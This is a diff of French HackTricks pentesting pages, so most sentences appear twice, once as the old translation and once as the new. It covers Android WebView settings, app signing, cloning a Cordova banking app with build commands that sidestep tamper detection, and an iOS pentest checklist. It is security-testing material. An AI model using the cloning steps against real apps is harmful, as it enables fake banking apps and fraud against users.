[Pour plus d'informations sur les attributs spécifiques des fournisseurs de fichiers, cliquez ici.](https://developer.android.com/reference/androidx/core/content/FileProvider)
[Plus d'informations sur les FileProviders ici](https://developer.android.com/training/secure-file-sharing/setup-sharing).
## WebViews
Les WebViews sont en fait des **navigateurs Web** intégrés aux applications Android.\
Les WebViews sont essentiellement des **navigateurs web** intégrés dans les applications Android.\
Le contenu des WebViews peut être extrait de sites distants ou peut être des fichiers inclus dans l'application.\
Les WebViews sont **vulnérables aux mêmes vulnérabilités affectant tous les navigateurs Web**. Cependant, il existe certaines **configurations** qui peuvent être utiles pour **limiter** la **surface d'attaque**.
Les WebViews sont **vulnérables aux mêmes vulnérabilités affectant tout navigateur web**. Cependant, il existe certaines **configurations** qui peuvent être utiles pour **limiter** la **surface d'attaque**.
Il existe deux types de WebViews sur Android :
Il existe deux types de WebViews sous Android :
* Le **WebViewClient**, le mieux adapté pour le rendu simple du HTML. Cela n'exécutera pas la fonction d'alerte JS. Ainsi, les tests XSS utilisant cette fonction seront invalides.
* Le **client WebChrome**, est un navigateur Chrome.
* Le **WebViewClient**, mieux adapté pour le rendu de HTML simple. Cette fonction ne lancera pas la fonction d'alerte JS. Ainsi, les tests XSS utilisant cette fonction seront invalides.
* Le **WebChrome** **client**, est un navigateur Chrome.
Notez que les navigateurs **WebView n'ont pas accès aux cookies du navigateur natif**.
Notez que les **navigateurs WebView n'ont pas accès aux cookies du navigateur natif**.
Pour charger une URL ou un fichier, il est possible d'utiliser les fonctions **`loadUrl`**, **`loadData`** ou **`loadDataWithBaseURL`**. **Il est important d'accéder uniquement aux URL sanitaires.**\
Pour charger une URL ou un fichier, il est possible d'utiliser les fonctions **`loadUrl`**, **`loadData`** ou **`loadDataWithBaseURL`**. **Il est important d'accéder uniquement à des URL assainies.**\
La sécurité des WebView peut être configurée via l'objet **`WebSettings`**.\
Par exemple, l'exécution du code JS peut être désactivée en utilisant la méthode **`setJavaScriptEnabled`** avec la valeur **`false`**. Cela **supprimera** la possibilité d'une **XSS** et d'autres vulnérabilités liées à JS.
Par exemple, l'exécution de code JS peut être désactivée en utilisant la méthode **`setJavaScriptEnabled`** avec la valeur **`false`**. Cela **éliminera** la possibilité d'un **XSS** et d'autres vulnérabilités liées à JS.
La fonctionnalité JavaScript "**Bridge**" **injecte des objets Java dans un WebView les rendant accessibles à JS**. À partir d'Android 4.2, les méthodes doivent être annotées avec **`@JavascriptInterface`** pour être accessibles à JavaScript.
La fonctionnalité "Bridge" JavaScript **injecte des objets Java dans un WebView les rendant accessibles à JS**. À partir d'Android 4.2, les méthodes doivent être annotées avec **`@JavascriptInterface`** pour être accessibles à JavaScript.
Si **`true`** est passé à **`setAllowContentAccess`**, les WebViews pourront accéder aux fournisseurs de contenu via le schéma **`content://`**. Cela pose évidemment un risque pour la sécurité. Notez que si cet accès est accordé, il est très important de **s'assurer** que l'URL **`content://`** est **sûre**.
Si **`true`** est passé à **`setAllowContentAccess`**, **les WebViews pourront accéder aux fournisseurs de contenu** via le schéma **`content://`**. Cela pose évidemment un risque de sécurité. Notez que si cet accès est accordé, il est très important de **s'assurer** que l'URL **`content://`** est **sûre**.
Par défaut, les fichiers locaux peuvent être accessibles par les WebViews via les URL file://, mais il existe plusieurs façons d'empêcher ce comportement :
Par défaut, les fichiers locaux peuvent être accessibles par les WebViews via des URL file://, mais il existe plusieurs moyens de prévenir ce comportement :
* Passer **`false`** à **`setAllowFileAccess`**, empêche l'accès au système de fichiers à l'exception des ressources via `file:///android_asset` _et_ `file:///android_res`. Ces chemins ne doivent être utilisés que pour des données non sensibles (comme des images), donc cela devrait être sûr.
* La méthode **`setAllowFileAccess`** indique si un chemin à partir d'une URL `file://` doit pouvoir accéder au contenu d'autres URL de schéma de fichier.
* La méthode **`setAllowUniversalAccessFromFileURLs`** indique si un chemin à partir d'une URL `file://` doit pouvoir accéder au contenu de n'importe quelle origine.
* Passer **`false`** à **`setAllowFileAccess`**, empêche l'accès au système de fichiers à l'exception des actifs via `file:///android_asset` _et_ `file:///android_res`. Ces chemins devraient être utilisés uniquement pour des données non sensibles (comme des images), donc cela devrait être sûr.
* La méthode **`setAllowFileAccess`** indique si un chemin d'une URL `file://` devrait pouvoir accéder au contenu d'autres URL de schéma de fichier.
* La méthode **`setAllowUniversalAccessFromFileURLs`** indique si un chemin d'une URL `file://` devrait pouvoir accéder au contenu de n'importe quelle origine.
## Autres composants d'application
### **Signature d'application**
* Android exige que **toutes les applications soient signées numériquement avec un certificat** avant de pouvoir être installées. Android utilise ce certificat pour identifier l'auteur d'une application.
* Pour exécuter une application sur l'appareil, elle doit être signée. Lorsqu'une application est installée sur un appareil, le **gestionnaire de packages vérifie** si l'application a été correctement signée avec le certificat du fichier APK ou non.
* L'application peut être auto-signée ou signée par une autorité de certification.
* La signature de l'application garantit qu'une application ne peut pas accéder à une autre application sauf par le biais d'IPC bien définis et qu'elle est transmise sans modification à l'appareil.
* Android exige que **toutes les applications soient numériquement signées avec un certificat** avant qu'elles puissent être installées. Android utilise ce certificat pour identifier l'auteur d'une application.
* Pour exécuter l'application sur l'appareil, elle doit être signée. Lorsqu'une application est installée sur un appareil, le **gestionnaire de paquets vérifie** si l'application a été correctement signée avec le certificat dans le fichier apk ou non.
* L'application peut être auto-signée ou signée par une CA.
* La signature d'application garantit qu'une application ne peut pas accéder à une autre application sauf par le biais d'IPC bien défini et aussi qu'elle est transmise sans modification à l'appareil.
### **Vérification d'application**
* Android 4.2 et versions ultérieures prennent en charge la vérification d'application. Les utilisateurs peuvent choisir d'activer la fonctionnalité "Vérifier les applications" et faire évaluer les applications par un vérificateur d'applications avant l'installation.
* La vérification de l'application peut avertir l'utilisateur s'il essaie d'installer une application potentiellement dangereuse ; si une application est particulièrement mauvaise, elle peut bloquer l'installation.
* Android 4.2 et les versions ultérieures prennent en charge la vérification des applications. Les utilisateurs peuvent choisir d'activer la vérification des applications "Verify Apps" et faire évaluer les applications par un vérificateur d'applications avant l'installation.
* La vérification des applications peut alerter l'utilisateur s'il essaie d'installer une application qui pourrait être nuisible ; si une application est particulièrement mauvaise, elle peut bloquer l'installation.
## Gestion des appareils mobiles
MDM ou Mobile Device Management sont des suites logicielles utilisées pour **assurer un contrôle et des exigences de sécurité** sur les appareils mobiles. Ces suites utilisent les fonctionnalités appelées API d'administration de périphérique et nécessitent l'installation d'une application Android.
MDM ou Mobile Device Management sont des suites logicielles utilisées pour **assurer le contrôle et les exigences de sécurité** sur les appareils mobiles. Ces suites utilisent les fonctionnalités appelées API d'administration de l'appareil et nécessitent qu'une application Android soit installée.
Généralement, les solutions MDM effectuent des fonctions telles que l'application de politiques de mot de passe, le chiffrement forcé du stockage et la possibilité d'effacer à distance les données de l'appareil.
Généralement, les solutions MDM effectuent des fonctions telles que l'application de politiques de mot de passe, le forçage du chiffrement du stockage et l'activation de l'effacement à distance des données de l'appareil.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans toute votre pile technologique, des API aux applications Web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -437,12 +444,14 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,31 +2,33 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Informations tirées de l'article [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)
Infos prises du post [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)
## Informations de base
Apache Cordova est un framework populaire qui vous permet de **créer des applications hybrides** (Android et iOS) en utilisant **JavaScript, HTML et CSS**.
Apache Cordova est un framework populaire qui permet de **créer des applications hybrides** (Android & iOS) en utilisant **JavaScript, HTML et CSS**.
L'un des principaux problèmes avec Cordova est qu'il **ne dispose pas d'une méthode par défaut pour sécuriser** la **source** de l'application, contrairement à react-native. La source de l'application Cordova n'a pas de méthode par défaut pour la compiler, ce qui facilite la manipulation du code. L'application Cordova utilise WebView pour rendre l'application en utilisant HTML et JS, ce qui révèle le code source même après sa compilation en APK ou IPA, tandis que react native utilise JavaScript VM pour exécuter le code JavaScript.
L'un des principaux problèmes avec Cordova est qu'il **ne dispose pas d'une méthode par défaut pour sécuriser** la **source** de l'application, contrairement à react-native. La source de l'application Cordova n'a pas de méthode par défaut pour la compiler, ce qui la rend **facile à altérer**. L'application Cordova utilise WebView pour rendre l'application en utilisant HTML et JS, ce qui révèle le code source même après sa compilation en APK ou IPA, tandis que react native utilise JavaScript VM pour exécuter le code JavaScript.
### Clonage d'une application Cordova <a href="#8f50" id="8f50"></a>
Pour créer une application Cordova, nous devons installer NodeJS. En plus de NodeJS, nous avons besoin de quelques autres éléments installés pour terminer le processus de construction, tels que Android SDK, Java JDK et Gradle. Vous pouvez suivre la [documentation officielle](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) pour la liste des exigences.
Pour créer une application Cordova, nous devons installer NodeJS. Outre NodeJS, nous avons besoin de quelques autres éléments installés pour compléter le processus de construction comme Android SDK, Java JDK et Gradle. Vous pouvez suivre la [documentation officielle](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) pour la liste des prérequis.
Pour cet exemple, nous pouvons supposer que le nom de l'application d'origine est `Bank.apk` et le nom du package `com.android.bank`
Pour cet exemple, nous pouvons supposer que le nom de l'application originale est `Bank.apk` et le nom du package `com.android.bank`
Décompressez le fichier `bank.apk` et ouvrez le dossier `bank/assets/www`. Nous pouvons voir la **source complète de l'application Cordova**. Tout le code HTML et JS peut être utilisé pour créer un clone de l'application. Nous pouvons également trouver le fichier de configuration de l'application dans `bank/res/xml/config.xml`.
Décompressez le `bank.apk` et ouvrez le dossier `bank/assets/www`. Nous pouvons voir la **source complète de l'application Cordova**. Tout le code HTML et JS peut être utilisé pour créer un clone de l'application. Nous pouvons également trouver le fichier de configuration de l'application dans `bank/res/xml/config.xml`.
Maintenant, nous pouvons créer un nouveau projet d'application Cordova :
```bash
@ -34,57 +36,61 @@ npm install -g cordova@latest
cordova create bank-new com.android.bank Bank
cd bank-new
```
Maintenant, nous devons copier tous les fichiers et dossiers de `bank/assets/www` vers `bank-new/www`.
Maintenant, nous devons copier tous les fichiers et dossiers de `bank/assets/www` vers `bank-new/www.`
Lorsque nous copions le code source, nous devons exclure quelques fichiers et dossiers tels que `cordova_plugins.js, cordova.js, cordova-js-src/, plugins/`. Nous pouvons copier tous les fichiers et dossiers en excluant ceux mentionnés ci-dessus.
Lorsque nous copions le code source, nous devons exclure quelques fichiers et dossiers comme `cordova_plugins.js, cordova.js, cordova-js-src/, plugins/`. Nous pouvons copier tous les fichiers et dossiers à l'exception de ceux mentionnés ci-dessus.
Lorsque nous créons un nouveau projet Cordova, nous devons préciser s'il s'agit d'une application Android ou iOS. Étant donné que nous clonons l'application Android, nous devons y ajouter une plateforme Android. Dans Cordova, nous avons les versions de plateforme, chaque version ayant différentes fonctionnalités et prise en charge des API Android ou des versions Android.
Lorsque nous créons un nouveau projet Cordova, nous devons préciser si l'application est pour Android ou iOS. Comme nous clonons l'application Android, nous devons y ajouter une plateforme Android. Dans Cordova, nous avons les versions de la plateforme, chaque version ayant des fonctionnalités différentes et une prise en charge pour les API Android ou les versions Android.
Les versions de l'API Android et de la plateforme Android de Cordova sont différentes. Vous pouvez [consulter](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) la liste des versions de plateforme et leur prise en charge des API Android.
L'API Android et les versions de la plateforme Cordova Android sont différentes. Vous pouvez [consulter](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) la liste des versions de la plateforme et leur prise en charge pour les API Android.
Pour ajouter la plateforme Android de Cordova, nous devons déterminer quelle version a été utilisée à l'origine par l'application. Si vous utilisez une version différente, vous pourriez rencontrer des problèmes car nous utilisons le même code source pour cloner l'application. Vous pouvez ouvrir le fichier `cordova.js` et rechercher `PLATFORM_VERSION_BUILD_LABEL` pour trouver la version utilisée par l'application.
Pour ajouter la plateforme Cordova Android, nous devons découvrir quelle version était à l'origine utilisée par l'application. Si vous utilisez une version différente, vous pourriez rencontrer des problèmes puisque nous utilisons le même code source pour cloner l'application. Vous pouvez ouvrir le fichier `cordova.js` et rechercher `PLATFORM_VERSION_BUILD_LABEL` pour trouver la version utilisée par l'application.
Maintenant que nous avons ajouté la prise en charge de la plateforme Android, nous pouvons ajouter tous les plugins requis utilisés par l'application. Dans l'application d'origine `bank/assets/www/cordova_plugins.js`, nous pouvons trouver une liste de tous les plugins utilisés par l'application. Nous devons installer ces plugins un par un. Recherchez `module.exports.metadata` dans le fichier `cordova_plugins.js`. Nous pouvons voir tous les plugins avec leurs versions également.
\
Maintenant que nous avons ajouté le support de la plateforme Android, nous pouvons ajouter tous les plugins requis utilisés par l'application. Dans l'application originale `bank/assets/www/cordova_plugins.js`, nous pouvons trouver une liste de tous les plugins utilisés par l'application. Nous devons installer ces plugins un par un. Recherchez `module.exports.metadata` dans le fichier `cordova_plugins.js`. Nous pouvons également voir tous les plugins avec leurs versions.
<figure><img src="https://miro.medium.com/v2/resize:fit:1124/1*Hap3DmxS6-1apNj5RfpC3g.png" alt="Cordova Plugins" height="570" width="562"><figcaption><p>Plugins Cordova</p></figcaption></figure>
Nous devons installer tous les plugins un par un à l'aide de la commande suivante
Nous devons installer tous les plugins un par un à l'aide de la commande ci-dessous
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
```
{% hint style="warning" %}
Si un plugin n'est pas disponible dans npm, recherchez-le sur Github :
Si un plugin n'est pas disponible dans la recherche npm, cherchez-le sur Github :
```bash
cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
```
{% endhint %}
Pour compiler l'application, nous devons nous assurer d'avoir déjà installé toutes les exigences nécessaires.
Pour compiler l'application, nous devons nous assurer d'avoir déjà installé toutes les exigences.
```bash
cd bank-new
cordova requirements
```
Une fois que nous avons terminé toutes les configurations nécessaires, nous pouvons construire l'APK.
Une fois que nous avons tout le nécessaire prêt, nous pouvons construire l'apk.
```bash
cd bank-new
cordova build android — packageType=apk
```
La commande de construction ci-dessus créera un fichier apk avec la méthode de débogage activée, ce qui nous permettra de déboguer l'application à l'aide de Google Chrome. Avant d'installer le fichier apk, assurez-vous de le signer. Si l'application dispose d'une détection de modification de code, elle sera contournée à moins qu'aucune configuration spécifique ne soit définie.
La commande de build ci-dessus créera un apk avec la méthode de débogage activée, ce qui nous permet de déboguer l'application en utilisant Google Chrome. Avant d'installer l'apk, assurez-vous de signer l'apk. Si l'application a une détection de manipulation de code, elle sera contournée à moins qu'il n'y ait pas de configuration spécifique définie.
### Outil automatique
### Outil Automatique
[**MobSecco**](https://github.com/Anof-cyber/MobSecco) : Un outil qui automatise l'ensemble du processus de clonage de l'application Android.
[**MobSecco**](https://github.com/Anof-cyber/MobSecco) : Un outil qui automatise le processus complet de clonage de l'application Android.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,58 +1,60 @@
# Liste de vérification pour le pentest iOS
# Liste de contrôle pour le pentesting iOS
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés** au monde.\
Obtenez l'accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
### Préparation
* [ ] Lisez [**iOS Basics**](ios-pentesting/ios-basics.md)
* [ ] Préparez votre environnement en lisant [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
* [ ] Lisez toutes les sections de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes pour pentester une application iOS
* [ ] Lisez [**les bases iOS**](ios-pentesting/ios-basics.md)
* [ ] Préparez votre environnement en lisant [**l'environnement de test iOS**](ios-pentesting/ios-testing-environment.md)
* [ ] Lisez toutes les sections de [**l'analyse initiale iOS**](ios-pentesting/#initial-analysis) pour apprendre les actions communes pour tester une application iOS
### Stockage des données
### Stockage de données
* [ ] Les [**fichiers Plist**](ios-pentesting/#plist) peuvent être utilisés pour stocker des informations sensibles.
* [ ] [**Core Data**](ios-pentesting/#core-data) (base de données SQLite) peut stocker des informations sensibles.
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de données SQLite) peut stocker des informations sensibles.
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mauvaise configuration.
* [ ] Les [**bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles.
* [ ] Les [**bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles.
* [ ] Les [**cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles.
* [ ] Les [**données de cache**](ios-pentesting/#cache) peuvent stocker des informations sensibles.
* [ ] Les [**instantanés automatiques**](ios-pentesting/#snapshots) peuvent enregistrer des informations sensibles visuelles.
* [ ] Le [**Keychain**](ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone.
* [ ] En résumé, vérifiez simplement si l'application enregistre des informations sensibles dans le système de fichiers.
* [ ] [**Bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles.
* [ ] [**Bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles.
* [ ] [**Cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles
* [ ] [**Données de cache**](ios-pentesting/#cache) peuvent stocker des informations sensibles
* [ ] [**Instantanés automatiques**](ios-pentesting/#snapshots) peuvent sauvegarder des informations visuelles sensibles
* [ ] [**Trousseau**](ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone.
* [ ] En résumé, vérifiez simplement **la présence d'informations sensibles enregistrées par l'application dans le système de fichiers**
### Claviers
* [ ] L'application permet-elle d'utiliser des [**claviers personnalisés**](ios-pentesting/#custom-keyboards-keyboard-cache) ?
